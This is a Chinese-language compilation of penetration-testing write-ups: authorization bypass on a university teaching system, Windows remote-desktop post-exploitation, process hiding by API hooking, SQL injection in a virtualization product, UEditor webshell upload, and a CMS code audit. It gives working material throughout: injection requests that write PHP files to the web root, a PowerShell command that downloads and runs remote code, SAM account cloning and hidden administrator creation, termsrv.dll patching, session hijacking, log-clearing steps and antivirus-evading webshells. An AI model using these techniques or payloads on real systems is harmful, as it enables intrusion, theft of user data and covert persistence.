双一流高校某教学系统存在多个高危漏洞
脆弱资产搜集
信息搜集过程中,除了用常见子域名扫一遍,还可以通过空间搜索引擎手动搜索。我用的就是把学校名称或者缩写作为关键字,利用语法:
web.body="关键字"&&web.body="系统"
web.body="关键字"&&web.body="登录"
web.title="关键字"&&web.body="管理"
web.title="关键字"&&web.body="后台"
等一系列语法进行挨个查看。
进行信息搜索(你得有一套自己的信息搜集逻辑吧,不然连这个系统都找不到)后,找到一处教学管理系统,点击页面上方软件,点击蓝色链接,进入教学系统
此处存在多个平台,但发现只有几个平台可以点击进入,先点击右上角的:国际结算
出现一个登录框,发现存在注册按钮,并且注册没有任何限制,直接注册账号进行登录(能进后台肯定先进后台测试,之后再测登录框漏洞)
后台敏感信息越权获取
进入后页面如下,挖洞需要首先观察功能点,将所有能点的都点一遍,将功能转化为接口,转化为数据包后,再进行测试。
经过观察,除了修改个人资料与修改密码,其它均为查看资料的地方,尝试sql注入,RCE,文件包含,目录遍历等漏洞均无成果,于是将目光转到这两处功能点。
点击修改个人资料,再点击保存,转到burpsuite查看数据包
发现此处展现了我的账户,密码等个人信息,且数据包body较为简单,于是将数据包转到repeater进行测试。将userId改为2018发包,发现返回其他用户信息。
经过尝试可以实现登录,再次将userId改为0001和0002直接展现管理员与超级管理员账号,并成功登录。(经过尝试,大概能获取两千左右的用户信息。)
未授权加越权
得到越权漏洞一个,但挖洞时注意数据包如果存在cookie等鉴权字段,就可以尝试删除,如果还能获取就可能存在未授权漏洞。
删除cookie后发包,再次成功获取数据,退出登录,过了半天后再次发送数据包,依旧成功获取数据,于是又将危害扩大,能够实现未授权状态对任意用户信息的获取。
继续查看先前的历史数据包,找到保存信息那一个数据包。将其发送到repeater模块进行分析。
接着先前思路删除cookie但修改个人信息失败。进一步分析数据包,发现两个可疑参数:head头的userId与body处的userId,经过尝试,将head头的userId修改可以实现越权修改他人信息,例如我将userId修改为2018再通过先前拿到的账户密码,发现他的信息已经被修改为了我的信息。
(经过尝试,以上漏洞通杀v1.v2.v3版本)
之后对修改密码处进行一套checklist无果......
编辑器文件上传利用
秉持着功能点多少决定攻击面大小的想法,我先登录进入了管理员账户。
在没有太多功能点的情况下,从分析js文件出发找功能点,有充足功能的情况下,就先将页面展现出来的功能点转化为接口测试,最后再分析js文件。
进入普通管理员后台,先将整个后台功能点进行总览,先不要着急去测功能点,把功能点先点一遍,再从数据包开始分析。
在数据包中发现Editor字段,加上此处存在试卷编辑功能点,于是猜测可能使用了编辑器,在js文件中搜索关键字:
直接找到kindeditor编辑器,此处直接想到可以尝试kindeditor的文件上传与目录遍历漏洞(多挖才会有思路)
注意此处涉及到接口拼接的一个问题,网上找的相关漏洞复现他们的路径并不是完全通用的,我们在做js拼接时也要注意,路径是否存在一个根路径,本例的根路径就是Content,如果你直接找网上的路径拼接到url处是不行的。
例如查看kindeditor版本的路径就应该是:
为4.1.10貌似存在漏洞,于是访问如下界面:
看到这个页面,根据我的经验估计稳了。于是按照步骤部署html上传页面,再将自己写另一个的xss的html通过自己的html页面进行上传,抓包得到返回路径,拼接后访问,成功弹窗,此漏洞可在未登录状态完成。(另一个目录遍历漏洞未能成功)
以下是kindeditor文件上传的html上传页面代码:(xss代码自己写)
<head>
<title>File Upload</title>
</head>
<body>
<form enctype="multipart/form-data"
action="http://******/Content/KindEditor/asp.net/upload_json.ashx?dir=file"
method="post">
<p>Upload a new file:</p>
<input type="file" name="imgFile" size="50"><br>
<input type="submit" value="Upload">
</form>
</body>
通过数据包还看到IIS版本为7.5尝试IIS解析漏洞与MS15-034(代码执行)无果。
Windows远程桌面的奇技淫巧
前言
Windows远程桌面简介
远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者连上提供微软终端机服务的计算机(称为服务端或远程计算机)
远程桌面的前置条件
在获取权限后,针对3389进行展开,先查询3389端口是否开启
netstat -ano | findstr 3389
发现没有开启(也有可能更改了端口),则可以通过注册表进行手动启动(需要管理员权限)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f (开启)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f (关闭)
若执行失败,可能由于系统版本过旧(以下开启命令适用于Windows Server 2003之前系统)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1(开启)
wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0(关闭)
有些运维人员会勾选”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项,我们也可以通过注册表进行关闭,避免影响连接(开启同理0替换成1)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
为了避免运维人员更改了RDP端口,可以确认下RDP端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber
正常若是3389端口为0xd3d(默认是十六进制表示)
在这里还需要保证防火墙等安全设备没有禁止且相互之间网络必须相通,这里防火墙设置只允许单独端口放通,减少运维人员的警觉(只允许3389端口放通)
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow
通过命令删除防火墙的通行策略(清理痕迹)
netsh advfirewall firewall delete rule name="RemoteDesktop"
克隆账户接管administrator桌面
适用场景
在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面
利用步骤(默认情况下需要system权限)
在administrator权限下进行切换(利用PsExec工具进行powershell无文件落地上线system权限)
shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))""
(-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行)
查询用户的SID,方便选择克隆对象(常克隆Guest用户,系统自带不易察觉且默认的SID为501)
这里克隆administrator用户为Guest用户,将SID为500(对应十六进制为0x1f4)的管理员账号的相关信息导出为admin.reg
regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
将注册表文件下载到本地方便编辑(下载后默认在本地CS目录的下的download文件夹下,文件下载后需要重命名)
download admin.reg
将admin.reg文件的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4中的“1F4”修改为Guest的SID为1F5(十六进制),并保存为new.reg(方便区分)
将new.reg重新上传到受害机中
导入编辑好的new.reg文件
regedit /s new.reg
修改Guest密码便于远程登录,并及时清理两个reg文件
net user Guest Admin@123
del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg
此时直接进行远程登录Guest账户,其实是administrator账户的系统,成功接管!
新建隐藏管理员+远程软件+会话劫持组合拳接管administrator桌面
适用场景
在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面
利用步骤
添加新隐藏用户
net user yuzi$ Admin@123 /add
将新隐藏用户添加到管理员组
net localgroup administrators yuzi$ /add
此时直接进行远程登录隐藏账户,进行图形化操作
若遇到对方已有用户在线,可能会出现以下界面(Windows sever版本默认支持多用户同时在线,Windows其他版本不支持)
此时为了做到更加隐蔽的进行登录(强迫登录会使对方会话掉线),可以修改termsrv.dll文件实现,操作前要将所有权转移给本地管理员,向本地管理员组授予对termsrv.dll文件的“完全控制”权限(若是通过powershell无文件远控的形式执行如下命令可能会出现问题,则需要在可执行木马的远控场景执行命令)
takeown /F c:\Windows\System32\termsrv.dll /A
icacls c:\Windows\System32\termsrv.dll /grant Administrators:F
修改系统文件可能会导致系统不稳定,确保有原始termsrv.dll文件的备份
copy c:\Windows\System32\termsrv.dll termsrv.dll_backup
接下来将对方的c:\Windows\System32\termsrv.dll文件下载至本地
download c:\Windows\System32\termsrv.dll
在编辑dll前需要确认当前系统的版本号,查看Windows的版本号
powershell Get-ComputerInfo -Property WindowsVersion, OsName
通过十六进制文本编辑器进行编辑termsrv.dll文件,按照不同的Windows的版本查找对应的字符串标识,替换为B8 00 01 00 00 89 81 38 06 00 00 90
修改完成后上传至对方,进行强制替换系统自带的termsrv.dll,(替换前需要先停止远程服务,以免发生冲突,替换后再重新启用远程服务)
net stop TermService /y
copy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll
net start TermService
重新进行3389远程连接,发现已经可以直接登录到新建隐藏管理员桌面,不再出现提示页面
借助Windows的特性,直接在新建隐藏管理员桌面安装轻量级的远控桌面软件并运行(这里以GotoHTTP为例)
在攻击机本地进行GotoHTTP远程桌面时候,发现已经成功接管了administrator的实时桌面(由于GotoHTTP是以管理员身份运行的故显示的administrator桌面)
若运气不好,发现利用GotoHTTP远程后在锁定页面,此时还可以配合会话劫持进行接管administrator实时桌面
接下来进行劫持(劫持administrator的会话),查询可劫持的会话
quser
以管理员权限运行cmd,创建服务(用于会话劫持的权限需要system,恰好Windows的服务是以system权限运行,其中的1为需要劫持的ID值)
sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console"
启动并且删除服务后,发现此时的GotoHTTP页面已经成功进入解锁状态的桌面
sc start rdp & sc delete rdp & exit
远程结束后进行删除隐藏用户(清理痕迹,这类隐藏用户容易发现)
net user yuzi$ /delete
浅谈进程隐藏技术
前言
在之前几篇文章已经学习了解了几种钩取的方法
● 浅谈调试模式钩取
● 浅谈热补丁
● 浅谈内联钩取原理与实现
● 导入地址表钩取技术
这篇文章就利用钩取方式完成进程隐藏的效果。
进程遍历方法
在实现进程隐藏时,首先需要明确遍历进程的方法。
CreateToolhelp32Snapshot
CreateToolhelp32Snapshot函数用于创建进程的镜像,当第二个参数为0时则是创建所有进程的镜像,那么就可以达到遍历所有进程的效果。
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
int main()
{
//设置编码,便于后面能够输出中文
setlocale(LC_ALL, "zh_CN.UTF-8");
//创建进程镜像,参数0代表创建所有进程的镜像
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
std::cout << "Create Error" << std::endl;
exit(-1);
}
/*
* typedef struct tagPROCESSENTRY32 {
* DWORD dwSize; 进程信息结构体大小,首次调用之前必须初始化
* DWORD cntUsage; 引用进程的次数,引用次数为0时,则进程结束
* DWORD th32ProcessID; 进程的ID
* ULONG_PTR th32DefaultHeapID; 进程默认堆的标识符,除工具使用对我们没用
* DWORD th32ModuleID; 进程模块的标识符
* DWORD cntThreads; 进程启动的执行线程数
* DWORD th32ParentProcessID; 父进程ID
* LONG pcPriClassBase; 进程线程的基本优先级
* DWORD dwFlags; 保留
* TCHAR szExeFile[MAX_PATH]; 进程的路径
* } PROCESSENTRY32;
* typedef PROCESSENTRY32 *PPROCESSENTRY32;
*/
PROCESSENTRY32 pi;
pi.dwSize = sizeof(PROCESSENTRY32);
//取出第一个进程
BOOL bRet = Process32First(hSnapshot, &pi);
while (bRet)
{
wprintf(L"进程路径:%s\t进程号:%d\n", pi.szExeFile, pi.th32ProcessID);
//取出下一个进程
bRet = Process32Next(hSnapshot, &pi);
}
}
EnumProcesses
EnumProcesses用于将所有进程号的收集。
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
int main()
{
setlocale(LC_ALL, "zh_CN.UTF-8");
DWORD processes[1024], dwResult, size;
unsigned int i;
//收集所有进程的进程号
if (!EnumProcesses(processes, sizeof(processes), &dwResult))
{
std::cout << "Enum Error" << std::endl;
}
//进程数量
size = dwResult / sizeof(DWORD);
for (i = 0; i < size; i++)
{
//判断进程号是否为0
if (processes[i] != 0)
{
//用于存储进程路径
TCHAR szProcessName[MAX_PATH] = { 0 };
//使用查询权限打开进程
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE,
processes[i]);
if (hProcess != NULL)
{
HMODULE hMod;
DWORD dwNeeded;
//收集该进程的所有模块句柄,第一个句柄则为文件路径
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&dwNeeded))
{
//根据句柄获取文件路径
GetModuleBaseName(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
}
wprintf(L"进程路径:%s\t进程号:%d\n", szProcessName, processes[i]);
}
}
}
}
ZwQuerySystemInfomation
ZwQuerySystemInfomation函数是CreateToolhelp32Snapshot函数与EnumProcesses函数底层调用的函数,也用于遍历进程信息。代码参考https://cloud.tencent.com/developer/article/1454933
#include <iostream>
#include <Windows.h>
#include <ntstatus.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
//定义函数指针
typedef NTSTATUS(WINAPI* NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
int main()
{
//设置编码
setlocale(LC_ALL, "zh_CN.UTF-8");
//获取模块地址
HINSTANCE ntdll_dll = GetModuleHandle(L"ntdll.dll");
if (ntdll_dll == NULL) {
std::cout << "Get Module Error" << std::endl;
exit(-1);
}
NTQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
//获取函数地址
ZwQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(ntdll_dll, "ZwQuerySystemInformation");
if (ZwQuerySystemInformation != NULL)
{
SYSTEM_BASIC_INFORMATION sbi = { 0 };
//查询系统基本信息
NTSTATUS status = ZwQuerySystemInformation(SystemBasicInformation, (PVOID)&sbi, sizeof(sbi), NULL);
if (status == STATUS_SUCCESS)
{
wprintf(L"处理器个数:%d\r\n", sbi.NumberOfProcessors);
}
else
{
wprintf(L"ZwQuerySystemInfomation Error\n");
}
DWORD dwNeedSize = 0;
BYTE* pBuffer = NULL;
wprintf(L"\t----所有进程信息----\t\n");
PSYSTEM_PROCESS_INFORMATION psp = NULL;
//查询进程数量
status = ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &dwNeedSize);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
pBuffer = new BYTE[dwNeedSize];
//查询进程信息
status = ZwQuerySystemInformation(SystemProcessInformation, (PVOID)pBuffer, dwNeedSize, NULL);
if (status == STATUS_SUCCESS)
{
psp = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
wprintf(L"\tPID\t线程数\t工作集大小\t进程名\n");
do {
//获取进程号
wprintf(L"\t%d", psp->UniqueProcessId);
//获取线程数量
wprintf(L"\t%d", psp->NumberOfThreads);
//获取工作集大小
wprintf(L"\t%d", psp->WorkingSetSize / 1024);
//获取路径
wprintf(L"\t%s\n", psp->ImageName.Buffer);
//移动
psp = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)psp + psp->NextEntryOffset);
} while (psp->NextEntryOffset != 0);
delete[]pBuffer;
pBuffer = NULL;
}
else if (status == STATUS_UNSUCCESSFUL) {
wprintf(L"\n STATUS_UNSUCCESSFUL");
}
else if (status == STATUS_NOT_IMPLEMENTED) {
wprintf(L"\n STATUS_NOT_IMPLEMENTED");
}
else if (status == STATUS_INVALID_INFO_CLASS) {
wprintf(L"\n STATUS_INVALID_INFO_CLASS");
}
else if (status == STATUS_INFO_LENGTH_MISMATCH) {
wprintf(L"\n STATUS_INFO_LENGTH_MISMATCH");
}
}
}
}
进程隐藏
通过上述分析可以知道遍历进程的方式有三种,分别是利用CreateToolhelp32Snapshot、EnumProcesses以及ZwQuerySystemInfomation函数
但是CreateToolhelp32Snapshot与EnumProcesses函数底层都是调用了ZwQuerySystemInfomation函数,因此我们只需要钩取该函数即可。
由于测试环境是Win11,因此需要判断在Win11情况下底层是否还是调用了ZwQuerySystemInfomation函数。
可以看到在Win11下还是会调用ZwQuerySystemInfomation函数,在用户态下该函数的名称为NtQuerySystemInformation函数。
这里采用内联钩取的方式对ZwQuerySystemInfomation进行钩取处理,具体怎么钩取在已经介绍过了,这里就不详细说明了。这里对自定义的ZwQuerySystemInfomation函数进行说明。
首先第一步需要进行脱钩处理,因为后续需要用到初始的ZwQuerySystemInfomation函数,紧接着获取待钩取函数的地址即可。
...
//脱钩
UnHook("ntdll.dll", "ZwQuerySystemInformation", g_pOrgBytes);
HMODULE hModule = GetModuleHandleA("ntdll.dll");
//获取待钩取函数的地址
PROC pfnOld = GetProcAddress(hModule, "ZwQuerySystemInformation");
//调用原始的ZwQuerySystemInfomation函数
NTSTATUS status = ((NTQUERYSYSTEMINFORMATION)pfnOld)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
...
为了隐藏指定进程,我们需要遍历进程信息,找到目标进程并且删除该进程信息实现隐藏的效果。这里需要知道的是进程信息都存储在SYSTEM_PROCESS_INFORMATION结构体中,该结构体是通过单链表对进程信息进行链接。因此我们通过匹配进程名称找到对应的SYSTEM_PROCESS_INFORMATION结构体,然后进行删除即可,效果如下图。
通过单链表中删除节点的操作,取出目标进程的结构体。代码如下
...
pCur = (PSYSTEM_PROCESS_INFORMATION)(SystemInformation);
while (true)
{
if (!lstrcmpi(pCur->ImageName.Buffer, L"test.exe"))
{
//需要隐藏的进程是最后一个节点
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
//不是最后一个节点,则将该节点取出
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
//不是需要隐藏的节点,则继续遍历
else
pPrev = pCur;
//链表遍历完毕
if (pCur->NextEntryOffset == 0)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);
}
...
完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/inlineHook.c
但是采用内联钩取的方法去钩取任务管理器就会出现一个问题,这里将断点取消,利用内联钩取的方式去隐藏进程。
首先利用bl命令查看断点
紧着利用 bc [ID]删除断点
在注入之后任务管理器会在拷贝的时候发生异常
在经过一番调试后发现,由于多线程共同执行导致原本需要可写权限的段被修改为只读权限
在windbg可以用使用!vprot + address查看指定地址的权限,可以看到由于程序往只读权限的地址进行拷贝处理,所以导致了异常。
但是在执行拷贝阶段是先修改了该地址为可写权限,那么导致该原因的情况就是其他线程执行了权限恢复后切换到该线程中进行写,所以导致了这个问题。
因此内联钩取是存在多线程安全的问题,此时可以使用微软自己构建的钩取库Detours,可以在钩取过程中确保线程安全。
Detours
项目地址:https://github.com/microsoft/Detours
环境配置
参考:https://www.cnblogs.com/linxmouse/p/14168712.html
使用vcpkg下载
vcpkg.exe install detours:x86-windows
vcpkg.exe install detours:x64-windows
vcpkg.exe integrate install
实例
挂钩
利用Detours挂钩非常简单,只需要根据下列顺序,并且将自定义函数的地址与被挂钩的地址即可完成挂钩处理。
...
//用于确保在 DLL 注入或加载时,恢复被 Detours 修改的进程镜像,保持稳定性
DetourRestoreAfterWith();
//开始一个新的事务来附加或分离
DetourTransactionBegin();
//进行线程上下文的更新
DetourUpdateThread(GetCurrentThread());
//挂钩
DetourAttach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx);
//提交事务
error = DetourTransactionCommit();
...
脱钩
然后根据顺序完成脱钩即可。
...
//开始一个新的事务来附加或分离
DetourTransactionBegin();
//进行线程上下文的更新
DetourUpdateThread(GetCurrentThread());
//脱钩
DetourDetach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx);
//提交事务
error = DetourTransactionCommit();
...
挂钩的原理
从上述可以看到,Detours是通过事务确保了在DLL加载与卸载时后的原子性,但是如何确保多线程安全呢?后续通过调试去发现。
可以利用x ntdl!ZwQuerySystemInformation查看函数地址,可以看到函数的未被挂钩前的情况如下图。
挂钩之后原始的指令被修改为一个跳转指令把前八个字节覆盖掉,剩余的3字节用垃圾指令填充。
该地址里面又是一个jmp指令,并且完成间接寻址的跳转。
该地址是自定义函数ZwQuerySystemInformationEx,因此该间接跳转是跳转到的自定义函数内部。
跳转到TrueZwQuerySystemInformation内部发现ZwQuerySystemInformation函数内部的八字节指令被移动到该函数内部。紧接着又完成一个跳转。
该跳转到ZwQuerySystemInformation函数内部紧接着完成ZwQuerySystemInformation函数的调用。
综上所述,整体流程如下图。实际上Detours实际上使用的是热补丁的思路,但是Detours并不是直接在原始的函数空间中进行补丁,而是开辟了一段临时空间,将指令存储在里面。因此在挂钩后不需要进行脱钩处理就可以调用原始函数。因此就不存在多线程中挂钩与脱钩的冲突。
完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/detoursHook.c
瑞友天翼应用虚拟化系统SQL注入漏洞
最近网上公开了一些瑞友天翼应用虚拟化系统的 SQL 注入漏洞,经过挖掘发现,还存在一些后台 SQL 注入漏洞。
重点关注传入参数可控并且拼接到 SQL 语句中的代码。
getappicon
首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。
GET /hmrao.php?s=/Admin/getappicon/&id=1');SELECT+SLEEP(5)+AND('1 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
我们打印出执行的 SQL 语句,发现成功闭合 SQL。
GET /hmrao.php?s=/Admin/getappicon/&id=1');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test1.php%27%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
成功将文件写到根目录下。
useredit
首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。
我们看到这里检测登录状态的函数是 adminchecklogin
这里进行检测时会根据路由 sessId 来进行检测,所有需要将cookie 拼接在路由器上。
GET /hmrao.php?s=/Admin/useredit/sessId/c3gnn42nnfafaei5im0ti44tp2&uid=1');SELECT+SLEEP(5)%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
GET /hmrao.php?s=/Admin/useredit/sessId/c3gnn42nnfafaei5im0ti44tp2&uid=1');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test2.php%27%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
成功将文件写到根目录下。
appedit
首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。
这里检测登录状态的函数同样也是 adminchecklogin
所以也需要将cookie 拼接在路由中。
GET /hmrao.php?s=/Admin/appedit/sessId/c3gnn42nnfafaei5im0ti44tp2&id=0');select+sleep(5)%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
GET /hmrao.php?s=/Admin/appedit/sessId/c3gnn42nnfafaei5im0ti44tp2&id=0');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test.php%27%23 HTTP/1.1
Host: 192.168.222.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/hmrao.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0
Connection: close
成功将文件写到根目录下。
记某次攻防演练:大战UEditor并突破
前言
最近参与某次攻防演练,通过前期信息收集,发现某靶标单位存在某域名备案。
通过fofa搜索子域名站点,发现存在一个子域名的61000端口开放着一个后台,于是开始进行渗透。
目录扫描
进行目录扫描吗,发现/bin.rar路径可以访问到一个压缩文件。
使用下载器下载到电脑,打开压缩包,猜测内容为站点源代码,代码为.net形式,使用c#语言编写。
C#代码经过编译后为dll文件形式,根据dll文件命名规则和.net类型代码格式。我们可以初步判定xxx.Application.Web.dll文件中存在主要的后端逻辑代码。
但是dll为二进制文件我们无法直接查看,因此需要使用dnspy进行反编译查看。
查看方法:将dll文件丢入dnspy即可。
UEditor的曲折利用
在源码中发现该系统使用UEditor。
可得UEditor的路径/Utility/UEditor/controller.ashx
访问关键接口/Utility/UEditor/?action=catchimage和/Utility/UEditor/?action=config
然而服务器返回403无法访问。
通过Fuzz发现403的原因是有可能是因为waf或者edr的拦截。
使用/Utility/UEditor/.css?action=catchimage可进行bypass,成功访问关键接口。
接下来就是参考UEditor .net版本的任意文件上传漏洞进行上传哥斯拉jsp webshell。
漏洞利用参考链接:
https://www.freebuf.com/vuls/181814.html上传过程中发现普通哥斯拉jsp webshell上传后就被杀软拦截无法访问。
于是用https://github.com/Tas9er/ByPassGodzilla项目对webshell进行免杀处理。
方可成功上传webshell并进行连接,至此该UEditor站点利用完成,后面就是愉快的打内网。
UEditor的简便利用
传统的UEditor利用都是本地编写一个html文件中包含一个表单,通过提交表单使目标服务器根据提交的图片马地址下载webshell。
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<inputtype="submit" value="Submit" />
</form>
原理还是通过http请求发送图片马地址,所以直接在burpsuite发包也可以达到相同的效果,省去制作html文件的步骤。
POST /替换漏洞URL地址拼接/UEditor/controller.ashx?action=catchimage HTTP/1.1
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx
请求发送后,返回包返回webshell路径。
总结
UEditor作为热门常见漏洞,在大型企业集团中的.net老旧系统中非常常见,相关的利用方法以及绕过方法需要非常熟练,方可快人一步迅速拿下权限;
在渗透测试过程中,我们可能会遇到一些与实验环境或他人分享的情况不同的挑战。这时,我们需要具备排查问题原因的能力。例如,在利用漏洞的过程中,可能会遇到无法上传webshell或请求被WAF拦截等情况。我们需要根据场景,修改payload或使用fuzz等技术进行绕过,直到成功利用漏洞并获取所需的权限,完成渗透。大战UEditor并突破。
记录一次CMS的代码审计
本次代码审计使用了白加黑的手法,用黑盒的视角测试功能点,用白盒的方式作为验证。
0x1 XSS
guestbook处,可以看到有一个留言板
idea搜索guestbook。发现代码如下,其中的getModel是获取数据的方法。Guestbook.class就是具体要获取的数据。
跟进Guestbook.class查看,发现GuestBook继承自BaseGuestbook
继续跟进BaseGuestbook可以发现http请求的数据,没有发现有过滤函数。
然后使用管理员登录后台查看留言,发现确实如我所想,存在xss漏洞。
ps:审计小技巧,开启sql日志然后一边打payload一边看记事本是否漏掉过滤哪些字符。这里是完全没有过滤,所以在出库的时候如果没有防护,基本上就是实锤xss了。
0x2 SQL注入
在产品中心发现有一个搜索框
看到源码,没有发现有过滤字符,这里采用之前开启的mysql日志,通过日志文件的sql语句判断是否有过滤。
直接输入单引号发现该cms返回500报错,很有可能存在sql注入。
